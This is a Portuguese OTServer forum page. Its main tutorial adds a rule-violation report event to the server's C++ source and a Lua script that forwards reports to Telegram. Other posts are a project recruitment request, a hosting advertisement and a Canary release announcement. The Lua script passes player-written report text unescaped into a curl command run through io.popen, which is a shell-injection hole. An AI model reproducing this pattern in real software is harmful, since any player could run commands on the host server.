      uint32_t CreatureEvent::executeOpenRuleViolation(Player* player, std::string message) { if (!m_interface->reserveEnv()) { std::clog << "[Error - CreatureEvent::executeOpenRuleViolation] Call stack overflow." << std::endl; return 0; } ScriptEnviroment* env = m_interface->getEnv(); env->setScriptId(m_scriptId, m_interface); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushstring(L, message.c_str()); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; }  
      Após, procure por:
       
      std::string CreatureEvent::getScriptEventName() const  
      abaixo de:
       
      case CREATURE_EVENT_CHANNEL_LEAVE: return "onLeaveChannel";  
      adicione:
       
      case CREATURE_EVENT_OPEN_RULE_VIOLATION: return "onOpenRuleViolation";  
      Agora, procure por:
       
      std::string CreatureEvent::getScriptEventParams() const  
      abaixo de:
       
      case CREATURE_EVENT_CHANNEL_LEAVE: return "cid, channel, users";  
      adicione:
       
      case CREATURE_EVENT_OPEN_RULE_VIOLATION: return "cid, message";  
      Procure por:
       
      bool CreatureEvent::configureEvent(xmlNodePtr p)  
      abaixo de:
       
      else if(tmpStr == "leavechannel") m_type = CREATURE_EVENT_CHANNEL_LEAVE;  
      adicione:
       
      else if(tmpStr == "openruleviolation") m_type = CREATURE_EVENT_OPEN_RULE_VIOLATION;  
       
      creatureevent.h:
      Dentro deste arquivo, localize:
       
      enum CreatureEventType_t  
      adicione "CREATURE_EVENT_OPEN_RULE_VIOLATION" como o último item de enum CreatureEventType_t
       
      Exemplo:
       
      enum CreatureEventType_t { // ... CREATURE_EVENT_OPEN_RULE_VIOLATION };  
      Agora, procure por:
       
      uint32_t executeChannelLeave(Player* player, uint16_t channelId, UsersMap usersMap);  
      abaixo dela, adicione:
       
      uint32_t executeOpenRuleViolation(Player* player, std::string message);  
      game.cpp:
      Dentro deste arquivo, localize:
       
      bool Game::playerReportRuleViolation(Player* player, const std::string& text)  
      e substitua por:
       
      bool Game::playerReportRuleViolation(Player* player, const std::string& text) { //Do not allow reports on multiclones worlds since reports are name-based if(g_config.getNumber(ConfigManager::ALLOW_CLONES)) { player->sendTextMessage(MSG_INFO_DESCR, "Rule violation reports are disabled."); return false; } cancelRuleViolation(player); boost::shared_ptr<RuleViolation> rvr(new RuleViolation(player, text, time(NULL))); ruleViolations[player->getID()] = rvr; ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR); if(!channel) return false; for(UsersMap::const_iterator it = channel->getUsers().begin(); it != channel->getUsers().end(); ++it) it->second->sendToChannel(player, SPEAK_RVR_CHANNEL, text, CHANNEL_RVR, rvr->time); CreatureEventList joinEvents = player->getCreatureEvents(CREATURE_EVENT_OPEN_RULE_VIOLATION); for(CreatureEventList::iterator it = joinEvents.begin(); it != joinEvents.end(); ++it) (*it)->executeOpenRuleViolation(player, text); return true; }  
      Agora é só compilar a source.
       
      depois em "data > creaturescripts > creaturescripts.xml", adicione:
       
      <event type="login" name="loginNotifyRuleViolation" script="notifyRuleViolation.lua"/> <event type="openruleviolation" name="openNotifyRuleViolation" script="notifyRuleViolation.lua"/>  
      em "data > creaturescripts > scripts", crie um arquivo notifyRuleViolation.lua e adicione:
       
      function onOpenRuleViolation(cid, message) local config = { token = "", -- Token do seu BOT no Telegram chatId = "" -- ID do chat do Telegram que será enviado a notificação. } local message = "Player: "..getCreatureName(cid).."\n\nReport:\n"..message.."" message = string.gsub(message, "\n", "%%0A") local url = "https://api.telegram.org/bot"..config.token.."/sendMessage" local data = "chat_id="..config.chatId.."&text="..message.."" local curl = io.popen('curl -d "'..data..'" "'..url..'"'):read("*a") return true end function onLogin(cid) registerCreatureEvent(cid, "openNotifyRuleViolation") return true end  
       
      Demonstração:
      1. Jogador abre um novo report (CTRL + R)

      2. notifyRuleViolation.lua, definido em creaturescripts.xml, é acionado para enviar uma notificação ao grupo do Telegram.
       

       
    • Por sirmagna
      Procuro equipe interessada em desenvolver um projeto de "Tibia HunterxHunter"
      Tenho um projeto pré-montado que estou criando sozinho
      estarei disponibilizando uma previa 
      das minhas sprites 
      preciso de uma equipe com boas ideias e criativa
      para concluir o ot e deixar online para todos desfrutarem dessa obra prima
       
      *******ate o momento o projeto contem sprites do Killua Zoldyck/Hisoka Morow/Gon Freecss/Chrollo Lucilfer/Kurapika
      >>>Previa:



      OTClient_2024-02-09_19-29-45.mp4
    • Por cloudrun2023
      CloudRun - Sua Melhor Escolha para Hospedagem de OTServer!
      Você está procurando a solução definitiva para hospedar seu OTServer com desempenho imbatível e segurança inigualável? Não procure mais! Apresentamos a CloudRun, sua parceira confiável em serviços de hospedagem na nuvem.
       
      Recursos Exclusivos - Proteção DDoS Avançada:
      Mantenha seu OTServer online e seguro com nossa robusta proteção DDoS, garantindo uma experiência de jogo ininterrupta para seus jogadores.
       
      Servidores Ryzen 7 Poderosos: Desfrute do poder de processamento superior dos servidores Ryzen 7 para garantir um desempenho excepcional do seu OTServer. Velocidade e estabilidade garantidas!
       
      Armazenamento NVMe de Alta Velocidade:
      Reduza o tempo de carregamento do jogo com nosso armazenamento NVMe ultrarrápido. Seus jogadores vão adorar a rapidez com que podem explorar o mundo do seu OTServer.
       
      Uplink de até 1GB:
      Oferecemos uma conexão de alta velocidade com até 1GB de largura de banda, garantindo uma experiência de jogo suave e livre de lag para todos os seus jogadores, mesmo nos momentos de pico.
       
      Suporte 24 Horas:
      Estamos sempre aqui para você! Nossa equipe de suporte está disponível 24 horas por dia, 7 dias por semana, para resolver qualquer problema ou responder a qualquer pergunta que você possa ter. Sua satisfação é a nossa prioridade.
       
      Fácil e Rápido de Começar:
      Configurar seu OTServer na CloudRun é simples e rápido. Concentre-se no desenvolvimento do seu jogo enquanto cuidamos da hospedagem.
       
      Entre em Contato Agora!
      Website: https://central.cloudrun.com.br/index.php?rp=/store/cloud-ryzen-brasil
      Email: [email protected]
      Telefone: (47) 99902-5147

      Não comprometa a qualidade da hospedagem do seu OTServer. Escolha a CloudRun e ofereça aos seus jogadores a melhor experiência de jogo possível. Visite nosso site hoje mesmo para conhecer nossos planos e começar!
       
      https://central.cloudrun.com.br/index.php?rp=/store/cloud-ryzen-brasil
       
      CloudRun - Onde a Velocidade Encontra a Confiabilidade!
       

    • Por luanluciano93
      Olá galera, em 02/12/23 o projeto Canary atualizou seu release para a versão 3.1.2 e como estou desenvolvendo um servidor usando esta base decidi divulga-la, pois a cada dia ela melhor muito, é um projeto promissor.

      Para quem não conhece, Canary é um projeto desenvolvido no github de um servidor completo na versão 13.21 (atualmente) com todas as features do tibia global. Ele tem duas opções de datapack que seriam o global e um custom.

      Aqui está o link do projeto para quem quiser conhecer melhor: https://github.com/opentibiabr/canary
      Aqui está o link do lançamento do release para a versão 3.1.2 e suas mudanças e melhorias: https://github.com/opentibiabr/canary/compare/v3.1.1...v3.1.2
      Aqui está o link do discord do projeto para dúvidas e etc: https://discord.com/invite/gvTj5sh9Mp
      Aqui está o link de tutoriais e a documentação do projeto: https://docs.opentibiabr.com/home/welcome

      Algumas das features existentes no projeto:

      BOOSTED CREATURE:

       
      EVENT SCHEDULE:

       
      CYCLOPEDIA:

       
      CHARMS:

       
      DAILY REWARD: 

       
      PREY:

       
      IMBUEMENTS:

       
      MARKET:

       
      STORE:

       
      CUSTOM CHARACTERS:


       
      DENTRE MUITOS OUTROS!
×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo